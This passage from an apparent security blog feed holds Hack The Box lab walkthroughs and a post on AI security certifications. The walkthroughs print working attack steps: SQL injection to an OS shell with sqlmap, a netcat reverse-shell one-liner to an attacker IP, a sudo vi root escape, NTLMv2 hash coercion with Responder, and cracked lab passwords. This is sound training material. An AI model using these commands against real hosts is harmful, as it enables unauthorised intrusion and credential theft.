  <tbody>
    <tr>
      <td>21</td>
      <td>FTP</td>
      <td>vsftpd 3.0.3</td>
    </tr>
    <tr>
      <td>22</td>
      <td>SSH</td>
      <td>OpenSSH 8.0p1 (Ubuntu)</td>
    </tr>
    <tr>
      <td>80</td>
      <td>HTTP</td>
      <td>Apache httpd 2.4.41 (Ubuntu)</td>
    </tr>
  </tbody>
</table>

<p>Three things stand out immediately. <code class="language-plaintext highlighter-rouge">nmap</code>’s <code class="language-plaintext highlighter-rouge">ftp-anon</code> script reports anonymous
FTP is allowed and lists a single file in the root, <code class="language-plaintext highlighter-rouge">backup.zip</code>. Port 80 serves
a “MegaCorp Login” page. SSH is there but useless without creds. The FTP file is
the obvious thread to pull first.</p>

<h2 id="enumeration">Enumeration</h2>

<p>Anonymous login, grab the file:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>lftp 10.129.95.174 <span class="nt">-u</span> anonymous
<span class="c"># password: (blank, just Enter)</span>
<span class="nb">ls
</span>get backup.zip
<span class="nb">exit</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">backup.zip</code> is encrypted, so I couldn’t just unzip it. That’s what <code class="language-plaintext highlighter-rouge">zip2john</code> is
for: it pulls the archive’s password hash into a format John can chew on.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>zip2john backup.zip <span class="o">&gt;</span> hash.txt
john hash.txt <span class="nt">--wordlist</span><span class="o">=</span>/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt
</code></pre></div></div>

<p>rockyou cracked it in under a second: the zip password is <code class="language-plaintext highlighter-rouge">741852963</code>. Unzip with
that and two files fall out, <code class="language-plaintext highlighter-rouge">index.php</code> and <code class="language-plaintext highlighter-rouge">style.css</code>, the source of the login
page.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>unzip backup.zip   <span class="c"># password: 741852963</span>
</code></pre></div></div>

<blockquote>
  <p>The one detail that unlocked the box: the login isn’t backed by a database, it’s
hardcoded in the source I just recovered. <code class="language-plaintext highlighter-rouge">index.php</code> checks the username
against <code class="language-plaintext highlighter-rouge">admin</code> and the password against a fixed MD5:
<code class="language-plaintext highlighter-rouge">md5($_POST['password']) === "2cb42f8734ea607eefed3b70af13bbd3"</code>.</p>
</blockquote>

<p>So this isn’t the end, it’s a second hash to crack. One unsalted MD5, straight
into John:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">echo</span> <span class="s2">"2cb42f8734ea607eefed3b70af13bbd3"</span> <span class="o">&gt;</span> hash.txt
john hash.txt <span class="nt">--format</span><span class="o">=</span>raw-md5 <span class="se">\</span>
  <span class="nt">--wordlist</span><span class="o">=</span>/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt
</code></pre></div></div>

<p>That returns <code class="language-plaintext highlighter-rouge">qwerty789</code>. Two cracks, and I’ve got a working web login of
<code class="language-plaintext highlighter-rouge">admin:qwerty789</code>.</p>

<h2 id="foothold">Foothold</h2>

<p>Logging in lands on <code class="language-plaintext highlighter-rouge">dashboard.php</code>, which has a search box. The URL it drives is
<code class="language-plaintext highlighter-rouge">dashboard.php?search=meta</code>, and a search parameter that talks to a database is
exactly where I start probing for injection. I fed it to <code class="language-plaintext highlighter-rouge">sqlmap</code> along with my
authenticated session cookie, because the dashboard is behind the login and
<code class="language-plaintext highlighter-rouge">sqlmap</code> needs to be logged in too.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>sqlmap <span class="nt">--url</span><span class="o">=</span><span class="s2">"http://10.129.95.174/dashboard.php?search=meta"</span> <span class="se">\</span>
  <span class="nt">--cookie</span><span class="o">=</span><span class="s2">"PHPSESSID=&lt;your-session-id&gt;"</span> <span class="nt">--os-shell</span>
</code></pre></div></div>

<p>A couple of false starts here worth calling out. My first runs answered the
<code class="language-plaintext highlighter-rouge">follow 302 redirect?</code> prompt in a way that bounced <code class="language-plaintext highlighter-rouge">sqlmap</code> back to the login
page, so every parameter came back “does not appear to be injectable”. Once I let
it stay on <code class="language-plaintext highlighter-rouge">dashboard.php</code> with a valid cookie, it found the bug fast: the
<code class="language-plaintext highlighter-rouge">search</code> parameter is injectable on a <strong>PostgreSQL</strong> back end, across boolean,
error, stacked-query and time-based techniques.</p>

<p>Because the DB user is a superuser, <code class="language-plaintext highlighter-rouge">sqlmap</code> can go straight to <code class="language-plaintext highlighter-rouge">COPY ... FROM
PROGRAM</code>, which runs shell commands, and <code class="language-plaintext highlighter-rouge">--os-shell</code> wraps that in a prompt:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>os-shell&gt; id
uid=111(postgres) gid=117(postgres) groups=117(postgres),116(ssl-cert)
</code></pre></div></div>

<p>Command execution as <code class="language-plaintext highlighter-rouge">postgres</code>. The user flag is readable right there:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>os-shell&gt; cat /var/lib/postgresql/user.txt
ec9b13ca4d6229cd5cc1e09980965bf7
</code></pre></div></div>

<blockquote>
  <p>The <code class="language-plaintext highlighter-rouge">--os-shell</code> prompt is blind and miserable to work in: no TTY, every command
is a fresh HTTP round trip, and anything interactive just hangs. It’s fine for
<code class="language-plaintext highlighter-rouge">id</code> and <code class="language-plaintext highlighter-rouge">cat</code>, but you cannot escalate from inside it. The move is to use it
once to fire a real reverse shell and never type into it again.</p>
</blockquote>

<p>Start a listener locally:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nc <span class="nt">-lvnp</span> 4444
</code></pre></div></div>

<p>Then, from the os-shell, kick back a proper interactive shell:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>os-shell&gt; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2&gt;&amp;1|nc 10.10.14.128 4444 &gt;/tmp/f
</code></pre></div></div>

<p>Catch it, then upgrade to a real TTY so <code class="language-plaintext highlighter-rouge">sudo</code> and editors behave:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>python3 <span class="nt">-c</span> <span class="s1">'import pty; pty.spawn("/bin/bash")'</span>
<span class="c"># Ctrl-Z, then: stty raw -echo; fg, then: export TERM=xterm</span>
</code></pre></div></div>

<h2 id="privilege-escalation">Privilege Escalation</h2>

<p>With a usable shell as <code class="language-plaintext highlighter-rouge">postgres</code>, check what I’m allowed to run as root. I already
know the DB password, it’s sitting in the app config the box ships with
(<code class="language-plaintext highlighter-rouge">dashboard.php</code> connects as <code class="language-plaintext highlighter-rouge">postgres:P@s5w0rd!</code>), so <code class="language-plaintext highlighter-rouge">sudo -l</code> works:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo</span> <span class="nt">-l</span>
<span class="c"># (root) /bin/vi /etc/postgresql/11/main/pg_hba.conf</span>
</code></pre></div></div>

<p>That’s the whole game. I can run <code class="language-plaintext highlighter-rouge">vi</code> as root against one specific file, but <code class="language-plaintext highlighter-rouge">vi</code>
doesn’t care which file, it cares that it’s running as root. It has a built-in
shell escape, so I open the file and drop out of it into a root shell.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo</span> /bin/vi /etc/postgresql/11/main/pg_hba.conf
<span class="c"># inside vi, type:</span>
<span class="c"># :!/bin/bash</span>
</code></pre></div></div>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">id</span>   <span class="c"># uid=0(root) gid=0(root) groups=0(root)</span>
<span class="nb">cat</span> /root/root.txt
</code></pre></div></div>

<p>Root shell, root flag, box done.</p>

<h2 id="takeaways">Takeaways</h2>

<ul>
  <li>This was the intended path start to finish: FTP to the zip, zip to the source,
source to the hash, hash to the login, login to the SQLi, SQLi to a shell,
shell to the sudo rule. Every step handed me the key to the next.</li>
  <li>Two lessons cost me the most time and both are about <code class="language-plaintext highlighter-rouge">sqlmap</code>. Answer the redirect
prompt wrong and it silently tests the login page instead of the dashboard, so
always confirm it’s actually hitting the vulnerable URL with a live cookie. And
never try to escalate inside <code class="language-plaintext highlighter-rouge">--os-shell</code>; use it once to get a real reverse
shell and move on.</li>
  <li><code class="language-plaintext highlighter-rouge">sudo /bin/vi</code> on any file is root. Editors, pagers, and interpreters with shell
escapes are the reason GTFOBins exists. <code class="language-plaintext highlighter-rouge">:!/bin/bash</code> from <code class="language-plaintext highlighter-rouge">vi</code> is one to keep in
your head.</li>
  <li>Defensive version: don’t leave anonymous FTP serving backups, don’t hardcode
credentials or run the web app’s database as a superuser, and never grant <code class="language-plaintext highlighter-rouge">sudo</code>
on an editor. Any one of those fixed breaks the chain.</li>
</ul>

<blockquote>
  <p>Only test targets you’re allowed to. This is a retired Starting Point box on my
own Hack The Box account. Never a live host you don’t own.</p>
</blockquote>]]></content><author><name>mariustudor07</name></author><category term="HTB Writeups" /><category term="linux" /><category term="ftp" /><category term="sqli" /><category term="postgresql" /><category term="sudo" /><category term="starting-point" /><summary type="html"><![CDATA[Anonymous FTP hands over a password-protected backup. Crack the zip, crack the admin hash it hides, then ride a PostgreSQL injection to a shell and a sudo vi entry to root.]]></summary></entry><entry><title type="html">Three AI Security Certs, and Why I Bothered</title><link href="https://mariustudor07.github.io/blog/cranium-ai-security-certifications/" rel="alternate" type="text/html" title="Three AI Security Certs, and Why I Bothered" /><published>2026-07-13T00:00:00+00:00</published><updated>2026-07-13T00:00:00+00:00</updated><id>https://mariustudor07.github.io/blog/cranium-ai-security-certifications</id><content type="html" xml:base="https://mariustudor07.github.io/blog/cranium-ai-security-certifications/"><![CDATA[<blockquote>
  <p>I picked up three Cranium AI certifications this month: AI Security, AI Red
Team, and AI Security Professional. The honest reason isn’t the LinkedIn line.
It’s that I’ve spent the last couple of months building an AI-powered pentest framework, and at
some point you have to stop guessing at how these systems break and go learn
the actual threat model.</p>
</blockquote>

<p>For context, my main project is an <a href="https://github.com/mariustudor07/ai-pentest-agent">AI red team framework</a> with
a local LLM doing recon, correlation, and reporting. The whole time I’ve been
building it, a quiet question kept nagging me. I know how to <em>use</em> an LLM to
attack things, but do I actually understand how the LLM itself gets attacked?
Those are two very different skill sets, and I was strong on the first and
hand-wavy on the second. These three certs were me closing that gap on purpose.</p>

<h2 id="the-three-and-how-they-stack">The three, and how they stack</h2>

<p>They’re meant to be taken in order, and it shows.</p>

<ul>
  <li><strong>AI Security</strong> is the foundations. What the attack surface of a model-backed
system actually <em>is</em>, which is bigger than most people think. It’s not just
the model. It’s the training data, the pipeline, the prompt boundary, the
plugins and tools you bolt on, and the humans in the loop.</li>
  <li><strong>AI Red Team</strong> is the offensive half, and the one I cared about most.
Adversarial thinking applied to models: making them do things they shouldn’t,
leak things they shouldn’t, and trust input they shouldn’t.</li>
  <li><strong>AI Security Professional</strong> pulls the two together into how you actually run
this as a practice. Governance, risk, and defending the pipeline end to end
rather than plugging one hole at a time.</li>
</ul>

<h2 id="what-actually-landed">What actually landed</h2>

<p>A few things reframed how I think, rather than just adding facts.</p>

<p><strong>The prompt boundary is the new trust boundary.</strong> In web security you learn early
that user input is hostile until proven otherwise. With LLMs the boundary is
fuzzier and worse, because instructions and data arrive through the <em>same
channel</em>. A model can’t cleanly tell “this is a command from my operator” from
“this is text I was asked to summarise.” That’s the whole reason prompt injection
works, and it’s why my framework now treats anything it scrapes off a target as
untrusted by default. It didn’t before. That’s a direct change I made off the
back of this.</p>

<p><strong>The attack surface is a supply chain, not a box.</strong> Data poisoning, model theft,
membership inference, a compromised dependency in the serving stack. The model
weights are only one node. The Security Professional material hammered this, and
it maps almost one to one onto how I already think about a network. You don’t
just harden the crown jewel, you assume the path <em>to</em> it is contested.</p>

<p><strong>Red teaming a model rhymes with red teaming a box, but the primitives differ.</strong>
It’s the same loop I know from HTB, which is enumerate, find the boundary, push
on it, escalate. The primitives are just jailbreaks, injection, and extraction
instead of ports and services. That parallel made the offensive material click
fast, because I wasn’t learning a mindset, only a new vocabulary for one I
already had.</p>

<h2 id="was-it-worth-it">Was it worth it?</h2>

<p>For me, yes, and I can be specific about why. I didn’t take these to prove I know
AI security. I took them because I’m shipping something that lives in this space,
and I was making design decisions on instinct where I should have been making
them on a threat model. The clearest signal that it worked is that I changed how
my framework handles untrusted input the same week. That’s the bar I hold any
cert to. Did it change what I build, or just what my profile says?</p>

<p>If you’re doing offensive security and haven’t looked seriously at how AI systems
get attacked, it’s coming for your scope whether you’re ready or not. Every
product is quietly growing an LLM feature, and every one of those is new, poorly
understood attack surface. Worth getting ahead of.</p>

<h2 id="the-certificates">The certificates</h2>

<p>If you want to check the receipts, each one verifies on Cranium, with a PDF copy on this site too:</p>

<ul>
  <li><a href="https://learn.cranium.ai/app/certificate/58748923-ebef-4e68-87af-5de83e672c71">AI Security Professional</a> (<a href="/assets/certs/cranium-ai-security-professional.pdf">PDF</a>)</li>
  <li><a href="https://learn.cranium.ai/app/certificate/a338f6d7-c9b8-49f0-9703-f98b97aa59df">AI Red Team</a> (<a href="/assets/certs/cranium-ai-red-team.pdf">PDF</a>)</li>
  <li><a href="https://learn.cranium.ai/app/certificate/7b0faee2-84ea-4290-9405-ccdba1106a76">AI Security</a> (<a href="/assets/certs/cranium-ai-security.pdf">PDF</a>)</li>
</ul>

<p>All three issued by Cranium AI, July 2026.</p>

<p>Next up is folding what I learned into the framework properly: an injection-aware
input layer, and a small harness for testing my own tooling the way I’d test a
target. That’s the real deliverable. The certs were just the reading list.</p>]]></content><author><name>mariustudor07</name></author><category term="AI Security" /><category term="ai-security" /><category term="red-team" /><category term="llm" /><category term="prompt-injection" /><category term="cranium" /><summary type="html"><![CDATA[I sat the Cranium AI Security, AI Red Team, and AI Security Professional certs back to back. Not for the badges, but because I'm building a tool that attacks the exact thing they defend.]]></summary></entry><entry><title type="html">HTB Crocodile</title><link href="https://mariustudor07.github.io/blog/crocodile-ftp-to-web-login/" rel="alternate" type="text/html" title="HTB Crocodile" /><published>2026-07-11T00:00:00+00:00</published><updated>2026-07-11T00:00:00+00:00</updated><id>https://mariustudor07.github.io/blog/crocodile-ftp-to-web-login</id><content type="html" xml:base="https://mariustudor07.github.io/blog/crocodile-ftp-to-web-login/"><![CDATA[<blockquote>
  <p>Starting Point box. The actual solve is short. The real reason this post exists
is the hour I lost to infrastructure before I ever touched the box. I’m writing
the pain down so future me doesn’t repeat it.</p>
</blockquote>

<h2 id="recon">Recon</h2>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>sudo nmap -sC -sV 10.129.x.x
</code></pre></div></div>

<table>
  <thead>
    <tr>
      <th>Port</th>
      <th>Service</th>
      <th>Version</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>21</td>
      <td>FTP</td>
      <td>vsftpd 3.0.3</td>
    </tr>
    <tr>
      <td>80</td>
      <td>HTTP</td>
      <td>Apache httpd 2.4.41</td>
    </tr>
  </tbody>
</table>

<p><code class="language-plaintext highlighter-rouge">nmap</code>’s <code class="language-plaintext highlighter-rouge">ftp-anon</code> script does half the work. It reports anonymous login allowed and lists two files sitting in the FTP root: <code class="language-plaintext highlighter-rouge">allowed.userlist</code> and <code class="language-plaintext highlighter-rouge">allowed.userlist.passwd</code>. Two open ports, and the names already tell the story. Grab creds off FTP, spend them on the web app.</p>

<h2 id="enumeration">Enumeration</h2>

<p>Anonymous FTP, pull both files:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ftp 10.129.x.x
# Name: anonymous
# Password: (blank, just Enter)
ls
get allowed.userlist
get allowed.userlist.passwd
bye
</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>cat allowed.userlist        # aron, pwnmeow, egotisticalsw, admin
cat allowed.userlist.passwd # root, Supersecretpassword1, ...
</code></pre></div></div>

<blockquote>
  <p><strong>The mental trap.</strong> These are two parallel lists, not paired rows. Line 4 of
each isn’t necessarily one credential, so you’ve got up to 4x4 combinations. On a
real target this is where <code class="language-plaintext highlighter-rouge">hydra</code> earns its keep. Here, the intended <code class="language-plaintext highlighter-rouge">admin</code>
pair works.</p>
</blockquote>

<p>Now find where to spend them. The web app on 80 redirects to a login, and <code class="language-plaintext highlighter-rouge">gobuster</code> confirms the path:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gobuster dir -u http://10.129.x.x -w /usr/share/seclists/Discovery/Web-Content/common.txt -x php,html
# /login.php (200)
</code></pre></div></div>

<h2 id="foothold">Foothold</h2>

<p>Log into <code class="language-plaintext highlighter-rouge">/login.php</code> with the <code class="language-plaintext highlighter-rouge">admin</code> credential from the two lists. That’s the box. The login reveals the flag.</p>

<h2 id="where-i-actually-lost-the-time">Where I actually lost the time</h2>

<p>The five-line solve above took maybe ten minutes. Everything else was environment. I’m recording it because these are reusable lessons, not one-offs.</p>

<p><strong>1. VPN MTU, the bug that fakes being “the box is down”.</strong>
Pages wouldn’t load. <code class="language-plaintext highlighter-rouge">ping</code> worked, <code class="language-plaintext highlighter-rouge">curl -I</code> worked (headers only), but the full 58 KB page hung forever. The OpenVPN log had the giveaway:
<code class="language-plaintext highlighter-rouge">read UDPv4 [EMSGSIZE Path-MTU=1480]: Message too long</code>. Large response packets were exceeding the tunnel MTU and getting silently dropped. Small stuff (ping, HEAD) fit, big stuff (the actual page) didn’t.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># quick fix on the live interface:
sudo ip link set dev tun0 mtu 1300

# permanent fix, add to the .ovpn (the server was pushing tun-mtu 1500):
tun-mtu 1400
mssfix 1300
pull-filter ignore "tun-mtu"
</code></pre></div></div>

<p>That <code class="language-plaintext highlighter-rouge">pull-filter ignore "tun-mtu"</code> line matters. Without it the server’s pushed MTU overrides your config and you’re back to square one. And every VPN pack (Starting Point, Machines, Seasonal) is a separate file that needs the fix.</p>

<p><strong>2. Wrong VPN entirely.</strong> Before the MTU thing, I was on the Machines VPN while the box needed a different network. <code class="language-plaintext highlighter-rouge">ping</code> returned <em>Destination Host Unreachable from the gateway</em>, which is a routing failure (wrong network), not a firewall drop. Match the pack to the section.</p>

<p><strong>3. <code class="language-plaintext highlighter-rouge">.htb</code> hostnames need /etc/hosts.</strong> The web app redirects to a hostname. The browser can’t resolve <code class="language-plaintext highlighter-rouge">crocodile.htb</code> on its own, so add it manually:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>echo "10.129.x.x  crocodile.htb" | sudo tee -a /etc/hosts
</code></pre></div></div>

<p><strong>4. Firefox proxy chaos.</strong> A stale FoxyProxy/system-proxy setting had <code class="language-plaintext highlighter-rouge">network.proxy.type</code> stuck on <code class="language-plaintext highlighter-rouge">5</code> (system), routing box traffic into a dead proxy. <code class="language-plaintext highlighter-rouge">curl</code> works and Firefox hangs equals a browser-side proxy problem every time. Set it to <code class="language-plaintext highlighter-rouge">0</code> (No proxy) in <code class="language-plaintext highlighter-rouge">about:config</code>, and disable the extension so it stops overriding.</p>

<h2 id="takeaways">Takeaways</h2>

<ul>
  <li><code class="language-plaintext highlighter-rouge">nmap</code> scripts hand you the plot. <code class="language-plaintext highlighter-rouge">ftp-anon</code> gave me anonymous access and the filenames without a single manual step.</li>
  <li>Two wordlists aren’t paired creds. Think in combinations, and reach for <code class="language-plaintext highlighter-rouge">hydra</code> when the list is long and the target won’t lock you out.</li>
  <li>“Server not found” or a hanging page is usually me, not the box. The debug ladder that never fails: <code class="language-plaintext highlighter-rouge">ping</code>, then <code class="language-plaintext highlighter-rouge">curl -I</code>, then check <code class="language-plaintext highlighter-rouge">tun0</code> MTU, then check <code class="language-plaintext highlighter-rouge">/etc/hosts</code>, then check the Firefox proxy. If <code class="language-plaintext highlighter-rouge">curl</code> works and the browser doesn’t, it’s the browser.</li>
  <li>The recon to foothold pipeline finally clicked here: nmap tells you what’s open, service enum (gobuster, FTP) gets you creds, creds get you a login. Everything after is a variation on that.</li>
</ul>]]></content><author><name>mariustudor07</name></author><category term="HTB Writeups" /><category term="ftp" /><category term="gobuster" /><category term="web" /><category term="starting-point" /><summary type="html"><![CDATA[Anonymous FTP leaks two credential lists, gobuster finds the login page. The short solve, and the hour of VPN and browser pain around it.]]></summary></entry><entry><title type="html">HTB Responder</title><link href="https://mariustudor07.github.io/blog/responder-ntlm-capture-to-winrm/" rel="alternate" type="text/html" title="HTB Responder" /><published>2026-07-11T00:00:00+00:00</published><updated>2026-07-11T00:00:00+00:00</updated><id>https://mariustudor07.github.io/blog/responder-ntlm-capture-to-winrm</id><content type="html" xml:base="https://mariustudor07.github.io/blog/responder-ntlm-capture-to-winrm/"><![CDATA[<blockquote>
  <p>Starting Point box, but the most real one so far. It’s the classic “coerce a
Windows host into authenticating to you, capture the hash, crack it, log in”
chain that shows up constantly in AD work. Technique first, no flags. Two things
nearly broke me here: hash formatting and Ruby gem hell.</p>
</blockquote>

<h2 id="recon">Recon</h2>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>sudo nmap -sC -sV 10.129.x.x
</code></pre></div></div>

<table>
  <thead>
    <tr>
      <th>Port</th>
      <th>Service</th>
      <th>Version</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>80</td>
      <td>HTTP</td>
      <td>Apache 2.4.52 (Win64) PHP/8.1.1</td>
    </tr>
    <tr>
      <td>5985</td>
      <td>HTTP</td>
      <td>Microsoft HTTPAPI 2.0 (WinRM)</td>
    </tr>
  </tbody>
</table>

<p>Windows host (<code class="language-plaintext highlighter-rouge">OS: Windows</code> in the scan). Port 80 is the way in, and 5985 is WinRM, which is how I’ll come back once I have credentials. The site redirects to a <code class="language-plaintext highlighter-rouge">.htb</code> hostname, so first job is <code class="language-plaintext highlighter-rouge">/etc/hosts</code>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>echo "10.129.x.x  unika.htb" | sudo tee -a /etc/hosts
</code></pre></div></div>

<h2 id="enumeration-and-the-vuln">Enumeration and the vuln</h2>

<p>The site’s <code class="language-plaintext highlighter-rouge">page</code> parameter (<code class="language-plaintext highlighter-rouge">?page=french.html</code>) loads whatever file you name and doesn’t restrict it, which is a file inclusion bug. On Windows, a path starting with <code class="language-plaintext highlighter-rouge">//</code> is a UNC/SMB network path, so I can point the server at my machine.</p>

<p>The chain:</p>

<ol>
  <li>Windows auto-authenticates when it opens an SMB share (that’s normal file-share behaviour), leaking an NTLMv2 hash in the process.</li>
  <li>Responder sits on my <code class="language-plaintext highlighter-rouge">tun0</code> interface pretending to be that SMB server and captures the hash.</li>
</ol>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>sudo responder -I tun0
</code></pre></div></div>

<p>Then coerce the box into connecting back, in the browser:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>http://unika.htb/?page=//10.10.x.x/test
</code></pre></div></div>

<p>Responder catches the <code class="language-plaintext highlighter-rouge">Administrator</code> NTLMv2 hash. From here it’s all offline.</p>

<h2 id="foothold-crack-the-hash">Foothold: crack the hash</h2>

<blockquote>
  <p><strong>Struggle #1: hash formatting.</strong> This ate a genuinely embarrassing amount of
time. I kept copying the hash out of the scrolling terminal and grabbing only
the tail (<code class="language-plaintext highlighter-rouge">8bfeb...:D50D1EFF...</code>), missing the mandatory
<code class="language-plaintext highlighter-rouge">Administrator::MACHINE:</code> prefix. John then misdetected it as <code class="language-plaintext highlighter-rouge">LM</code>, loaded it
wrong, and cracked nothing. A NetNTLMv2 hash is
<code class="language-plaintext highlighter-rouge">USER::MACHINE:challenge:response:blob</code>. All five parts, or it’s garbage.</p>

  <p>The fix: don’t copy from the terminal. Responder writes every capture to disk,
perfectly formatted:
<code class="language-plaintext highlighter-rouge">cat /usr/share/responder/logs/SMB-NTLMv2-SSP-&lt;ip&gt;.txt</code></p>
</blockquote>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># grab the full line from the log, save it, then:
john hash.txt --format=netntlmv2 --wordlist=/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt
# Loaded 1 password hash (netntlmv2, NTLMv2 C/R)
# &lt;password&gt;   (Administrator)
</code></pre></div></div>

<p>Forcing <code class="language-plaintext highlighter-rouge">--format=netntlmv2</code> stops John guessing. It cracks in about a second once the hash is actually valid.</p>

<h2 id="access-winrm-with-the-cracked-creds">Access: WinRM with the cracked creds</h2>

<p>5985 is open, so the recovered <code class="language-plaintext highlighter-rouge">Administrator</code> password gets a full remote shell.</p>

<blockquote>
  <p><strong>Struggle #2: Ruby dependency hell.</strong> The “recommended” tool, <code class="language-plaintext highlighter-rouge">evil-winrm</code>, is a
Ruby gem, and on Arch with Ruby 3.4 it’s a nightmare. 3.4 dropped a pile of
formerly-bundled gems, so <code class="language-plaintext highlighter-rouge">evil-winrm</code> failed one missing gem at a time: <code class="language-plaintext highlighter-rouge">csv</code>,
<code class="language-plaintext highlighter-rouge">syslog</code>, <code class="language-plaintext highlighter-rouge">bigdecimal</code>, <code class="language-plaintext highlighter-rouge">rubyzip</code> (which needs <code class="language-plaintext highlighter-rouge">~&gt; 2.0</code>, not latest), and on it
went, whack-a-mole. A <code class="language-plaintext highlighter-rouge">sudo gem install</code> also lands gems in root’s GEM_PATH where
the user-run tool can’t see them, which caused a “gem installed but not found” loop.</p>
</blockquote>

<p>What actually worked was ditching Ruby entirely and using netexec (Python):</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># AUR install resolved cleanly where pipx choked:
yay -S netexec

# one-shot: authenticate over WinRM and run a command
nxc winrm 10.129.x.x -u Administrator -p '&lt;password&gt;' -x "whoami"
# [+] Administrator:&lt;password&gt; (Pwn3d!)
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">Pwn3d!</code> means admin access confirmed. <code class="language-plaintext highlighter-rouge">evil-winrm-py</code> (pipx) is the clean interactive alternative if you want a full shell.</p>

<h2 id="finding-the-flag">Finding the flag</h2>

<p>Administrator’s Desktop was empty. A recursive search across all profiles found it:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nxc winrm 10.129.x.x -u Administrator -p '&lt;password&gt;' -x "cmd /c dir /s /b C:\Users\*.txt"
# ...\Users\mike\Desktop\flag.txt
</code></pre></div></div>

<p>It lived on a different user’s desktop, which is a good reminder not to assume the flag is where you first look.</p>

<h2 id="takeaways">Takeaways</h2>

<ul>
  <li>This is the attack worth internalising. If you can make a Windows box connect to a server you control, it leaks credentials. LFI is just one trigger, there are many. Responder, capture, crack, WinRM is a pattern I’ll see again and again.</li>
  <li>Never copy hashes from a scrolling terminal. Use Responder’s log file. A NetNTLMv2 hash needs all five <code class="language-plaintext highlighter-rouge">USER::MACHINE:challenge:response:blob</code> parts, and <code class="language-plaintext highlighter-rouge">--format=netntlmv2</code> saves John from guessing.</li>
  <li>On Arch, skip Ruby <code class="language-plaintext highlighter-rouge">evil-winrm</code>. <code class="language-plaintext highlighter-rouge">netexec</code> (<code class="language-plaintext highlighter-rouge">nxc</code>) and <code class="language-plaintext highlighter-rouge">evil-winrm-py</code> are Python and just work. Install <code class="language-plaintext highlighter-rouge">netexec</code>, <code class="language-plaintext highlighter-rouge">impacket</code>, and <code class="language-plaintext highlighter-rouge">evil-winrm-py</code> and never fight a gem again. Also run <code class="language-plaintext highlighter-rouge">gem install</code> without sudo, or gems hide in root’s path.</li>
  <li>Tooling failure isn’t system breakage. I removed and reinstalled a lot tonight and panicked once, but nothing was actually broken. Removing an app and its unused deps is normal maintenance.</li>
</ul>]]></content><author><name>mariustudor07</name></author><category term="HTB Writeups" /><category term="windows" /><category term="responder" /><category term="ntlm" /><category term="winrm" /><category term="john" /><category term="starting-point" /><summary type="html"><![CDATA[File inclusion coerces a Windows host into leaking its NTLMv2 hash. Crack it with John, log in over WinRM. Plus the hash-formatting and Ruby gem battles that nearly ended me.]]></summary></entry><entry><title type="html">HTB Sequel</title><link href="https://mariustudor07.github.io/blog/sequel-mysql-enumeration/" rel="alternate" type="text/html" title="HTB Sequel" /><published>2026-07-11T00:00:00+00:00</published><updated>2026-07-11T00:00:00+00:00</updated><id>https://mariustudor07.github.io/blog/sequel-mysql-enumeration</id><content type="html" xml:base="https://mariustudor07.github.io/blog/sequel-mysql-enumeration/"><![CDATA[<blockquote>
  <p>Starting Point box. I’m writing this for the technique rather than the flag. The
point of it is how much a single exposed database service gives away when it’s
left wide open, plus a client-side gotcha that cost me a few minutes.</p>
</blockquote>

<h2 id="recon">Recon</h2>

<p>One service, and it’s the whole box.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>sudo nmap -sC -sV 10.129.x.x
</code></pre></div></div>

<table>
  <thead>
    <tr>
      <th>Port</th>
      <th>Service</th>
      <th>Version</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>3306</td>
      <td>MySQL</td>
      <td>MariaDB 5.5.5-10.3.27+deb10u1</td>
    </tr>
  </tbody>
</table>

<p>The <code class="language-plaintext highlighter-rouge">nmap</code> <code class="language-plaintext highlighter-rouge">mysql-info</code> script already does a lot of the work before I even connect. It hands over the protocol version, thread ID, capability flags, and the auth plugin. Seeing MariaDB on 3306 with nothing else open is the tell that the whole path lives inside the database.</p>

<h2 id="enumeration">Enumeration</h2>

<p>The plan is simple. Connect as <code class="language-plaintext highlighter-rouge">root</code>, list the databases, read whatever’s interesting. On Arch I use the MariaDB client (<code class="language-plaintext highlighter-rouge">mariadb</code>, since the old <code class="language-plaintext highlighter-rouge">mysql</code> command is a deprecated alias now).</p>

